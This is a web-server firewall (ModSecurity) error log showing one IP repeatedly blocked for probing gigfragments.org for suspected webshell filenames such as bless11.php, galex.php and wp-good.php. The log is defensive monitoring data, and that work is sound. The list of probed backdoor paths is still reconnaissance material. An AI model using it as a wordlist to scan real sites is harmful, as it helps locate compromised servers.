[Mon Dec 22 19:10:39.839245 2025] [:error] [pid 33535:tid 33557] [client 4.217.179.78:20507] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gg.php"] [unique_id "aUknL2OCI8D9Xtn-n7SrEwAAAdQ"]
[Mon Dec 22 19:10:40.656222 2025] [:error] [pid 58078:tid 58094] [client 4.217.179.78:29618] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aUknMJWKg9Bf8njHlB4gCAAAAAs"]
[Mon Dec 22 19:10:42.104711 2025] [:error] [pid 33472:tid 33504] [client 4.217.179.78:24622] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aUknMp5p2WQpPIK8HAkbWwAAAYM"]
[Mon Dec 22 19:10:43.256815 2025] [:error] [pid 56044:tid 56068] [client 4.217.179.78:29811] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aUknM-60uUaieriJqP1aUQAAAJQ"]
[Mon Dec 22 19:10:45.522525 2025] [:error] [pid 58078:tid 58105] [client 4.217.179.78:6442] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ar.php"] [unique_id "aUknNZWKg9Bf8njHlB4gDQAAABY"]
[Mon Dec 22 19:10:47.338714 2025] [:error] [pid 56080:tid 56148] [client 4.217.179.78:24585] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aUknN5IHT3YJq9hjDc7UYgAAAxg"]
[Mon Dec 22 19:10:48.483602 2025] [:error] [pid 58172:tid 58193] [client 4.217.179.78:20540] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aUknOOSVKDT5jWOcnSXRMgAAANM"]
[Mon Dec 22 19:10:49.178220 2025] [:error] [pid 58078:tid 58085] [client 4.217.179.78:6451] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aUknOZWKg9Bf8njHlB4gFQAAAAI"]
[Mon Dec 22 19:10:51.518260 2025] [:error] [pid 58172:tid 58180] [client 4.217.179.78:24597] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x.php"] [unique_id "aUknO-SVKDT5jWOcnSXROgAAAMY"]
[Mon Dec 22 19:10:52.202495 2025] [:error] [pid 56155:tid 56223] [client 4.217.179.78:24638] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xx.php"] [unique_id "aUknPGG8a3wQucsuN67gZQAAA4E"]
[Mon Dec 22 19:11:11.840107 2025] [:error] [pid 56155:tid 56240] [client 4.217.179.78:23075] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aUknT2G8a3wQucsuN67glwAAA5I"]
[Mon Dec 22 19:11:12.967599 2025] [:error] [pid 58172:tid 58190] [client 4.217.179.78:28999] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aUknUOSVKDT5jWOcnSXRTgAAANA"]
[Mon Dec 22 19:11:13.825809 2025] [:error] [pid 33440:tid 33456] [client 4.217.179.78:47457] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aUknUZOsUWKqgxu6QTQd9gAAAQ4"]
[Mon Dec 22 19:11:14.405181 2025] [:error] [pid 56080:tid 56127] [client 4.217.179.78:28827] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless11.php"] [unique_id "aUknUpIHT3YJq9hjDc7UfAAAAwM"]
[Mon Dec 22 19:11:15.051237 2025] [:error] [pid 56155:tid 56226] [client 4.217.179.78:47464] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUknU2G8a3wQucsuN67gmgAAA4Q"]
[Mon Dec 22 19:11:15.542721 2025] [:error] [pid 56155:tid 56232] [client 4.217.179.78:47470] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUknU2G8a3wQucsuN67gmwAAA4o"]
[Mon Dec 22 19:11:16.275562 2025] [:error] [pid 33440:tid 33447] [client 4.217.179.78:47475] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUknVJOsUWKqgxu6QTQd_QAAAQU"]
[Mon Dec 22 19:11:17.043270 2025] [:error] [pid 58172:tid 58197] [client 4.217.179.78:29012] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUknVeSVKDT5jWOcnSXRUQAAANc"]
[Mon Dec 22 19:11:18.360562 2025] [:error] [pid 33564:tid 33570] [client 4.217.179.78:27178] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aUknVgSHeG6oLmMnKY6qpQAAAgM"]
[Mon Dec 22 19:11:19.312233 2025] [:error] [pid 33564:tid 33591] [client 4.217.179.78:7015] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aUknVwSHeG6oLmMnKY6qqAAAAhg"]
[Mon Dec 22 19:11:20.105475 2025] [:error] [pid 33564:tid 33576] [client 4.217.179.78:27146] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aUknWASHeG6oLmMnKY6qqQAAAgk"]
[Mon Dec 22 19:11:20.797617 2025] [:error] [pid 56044:tid 56066] [client 4.217.179.78:27187] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file9.php"] [unique_id "aUknWO60uUaieriJqP1abgAAAJI"]
[Mon Dec 22 19:11:21.849834 2025] [:error] [pid 33440:tid 33455] [client 4.217.179.78:29000] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aUknWZOsUWKqgxu6QTQeBwAAAQ0"]
[Mon Dec 22 19:11:23.206721 2025] [:error] [pid 33471:tid 33492] [client 4.217.179.78:29021] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aUknW75BeNE7regJ7iw2vAAAAVI"]
[Mon Dec 22 19:11:24.024059 2025] [:error] [pid 56080:tid 56136] [client 4.217.179.78:24681] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aUknXJIHT3YJq9hjDc7UhgAAAww"]
[Mon Dec 22 19:11:25.405184 2025] [:error] [pid 56080:tid 56134] [client 4.217.179.78:48195] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ac.php"] [unique_id "aUknXZIHT3YJq9hjDc7UigAAAwo"]
[Mon Dec 22 19:11:26.385609 2025] [:error] [pid 56155:tid 56231] [client 4.217.179.78:48192] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aUknXmG8a3wQucsuN67goQAAA4k"]
[Mon Dec 22 19:11:27.640089 2025] [:error] [pid 58172:tid 58189] [client 4.217.179.78:23463] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aUknX-SVKDT5jWOcnSXRWAAAAM8"]
[Mon Dec 22 19:11:28.898044 2025] [:error] [pid 33564:tid 33570] [client 4.217.179.78:30814] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aUknYASHeG6oLmMnKY6qswAAAgM"]
[Mon Dec 22 19:11:31.092488 2025] [:error] [pid 56044:tid 56065] [client 4.217.179.78:53322] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aUknY-60uUaieriJqP1aewAAAJE"]
[Mon Dec 22 19:11:32.287204 2025] [:error] [pid 33471:tid 33488] [client 4.217.179.78:23459] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aUknZL5BeNE7regJ7iw2wgAAAU4"]
[Mon Dec 22 19:11:32.787733 2025] [:error] [pid 56155:tid 56234] [client 4.217.179.78:53316] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aUknZGG8a3wQucsuN67gqQAAA4w"]
[Mon Dec 22 19:11:33.761771 2025] [:error] [pid 58172:tid 58196] [client 4.217.179.78:29176] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aUknZeSVKDT5jWOcnSXRXwAAANY"]
[Mon Dec 22 19:11:34.300124 2025] [:error] [pid 33440:tid 33465] [client 4.217.179.78:30793] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galex.php"] [unique_id "aUknZpOsUWKqgxu6QTQeEwAAARc"]
[Mon Dec 22 19:11:35.063529 2025] [:error] [pid 56155:tid 56236] [client 4.217.179.78:24665] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aUknZ2G8a3wQucsuN67grgAAA44"]
[Mon Dec 22 19:11:35.765509 2025] [:error] [pid 58078:tid 58090] [client 4.217.179.78:46622] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aUknZ5WKg9Bf8njHlB4gZwAAAAc"]
[Mon Dec 22 19:11:36.585072 2025] [:error] [pid 58078:tid 58097] [client 4.217.179.78:30820] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aUknaJWKg9Bf8njHlB4gaAAAAA4"]
[Mon Dec 22 19:11:37.880403 2025] [:error] [pid 33471:tid 33484] [client 4.217.179.78:46632] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xb.php"] [unique_id "aUknab5BeNE7regJ7iw2wwAAAUo"]
[Mon Dec 22 19:11:38.273460 2025] [:error] [pid 33564:tid 33569] [client 4.217.179.78:48269] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aUknagSHeG6oLmMnKY6qxwAAAgI"]
[Mon Dec 22 19:11:40.179301 2025] [:error] [pid 33472:tid 33524] [client 4.217.179.78:6680] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aUknbJ5p2WQpPIK8HAkb5QAAAZc"]
[Mon Dec 22 19:11:41.233033 2025] [:error] [pid 58172:tid 58186] [client 4.217.179.78:53351] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aUknbeSVKDT5jWOcnSXRZwAAAMw"]
[Mon Dec 22 19:11:42.885335 2025] [:error] [pid 58078:tid 58101] [client 4.217.179.78:20314] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aUknbpWKg9Bf8njHlB4gcQAAABI"]
[Mon Dec 22 19:11:43.793600 2025] [:error] [pid 33472:tid 33518] [client 4.217.179.78:20300] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aUknb55p2WQpPIK8HAkb6gAAAZE"]
[Mon Dec 22 19:11:44.772081 2025] [:error] [pid 33440:tid 33447] [client 4.217.179.78:30057] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aUkncJOsUWKqgxu6QTQeHwAAAQU"]
[Mon Dec 22 19:11:48.121599 2025] [:error] [pid 33564:tid 33575] [client 4.217.179.78:6663] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aUkndASHeG6oLmMnKY6q4AAAAgg"]
[Mon Dec 22 19:11:48.658220 2025] [:error] [pid 56080:tid 56147] [client 4.217.179.78:48291] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rh.php"] [unique_id "aUkndJIHT3YJq9hjDc7UmQAAAxc"]
[Mon Dec 22 19:11:49.218266 2025] [:error] [pid 33564:tid 33574] [client 4.217.179.78:15542] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aUkndQSHeG6oLmMnKY6q4gAAAgc"]
[Mon Dec 22 19:11:50.083900 2025] [:error] [pid 56044:tid 56052] [client 4.217.179.78:20301] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aUkndu60uUaieriJqP1akAAAAIQ"]
[Mon Dec 22 19:11:50.846851 2025] [:error] [pid 58078:tid 58094] [client 4.217.179.78:6681] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aUkndpWKg9Bf8njHlB4gdgAAAAs"]
[Mon Dec 22 19:11:52.249088 2025] [:error] [pid 33471:tid 33495] [client 4.217.179.78:15746] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/chosen.php"] [unique_id "aUkneL5BeNE7regJ7iw20wAAAVU"]
[Mon Dec 22 19:11:54.151467 2025] [:error] [pid 56155:tid 56236] [client 4.217.179.78:48299] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aUknemG8a3wQucsuN67gvAAAA44"]
[Mon Dec 22 19:11:55.751432 2025] [:error] [pid 33471:tid 33493] [client 4.217.179.78:26647] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aUkne75BeNE7regJ7iw21gAAAVM"]
[Mon Dec 22 19:11:56.568473 2025] [:error] [pid 33471:tid 33490] [client 4.217.179.78:6698] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aUknfL5BeNE7regJ7iw22AAAAVA"]
[Mon Dec 22 19:11:57.266085 2025] [:error] [pid 33471:tid 33487] [client 4.217.179.78:30063] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "aUknfb5BeNE7regJ7iw22gAAAU0"]
[Mon Dec 22 19:11:57.978609 2025] [:error] [pid 33440:tid 33446] [client 4.217.179.78:26642] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aUknfZOsUWKqgxu6QTQeLAAAAQQ"]
[Mon Dec 22 19:11:59.013634 2025] [:error] [pid 33440:tid 33457] [client 4.217.179.78:30067] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aUknf5OsUWKqgxu6QTQeLQAAAQ8"]
[Mon Dec 22 19:11:59.781674 2025] [:error] [pid 58172:tid 58190] [client 4.217.179.78:6284] [client 4.217.179.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aUknf-SVKDT5jWOcnSXRhAAAANA"]
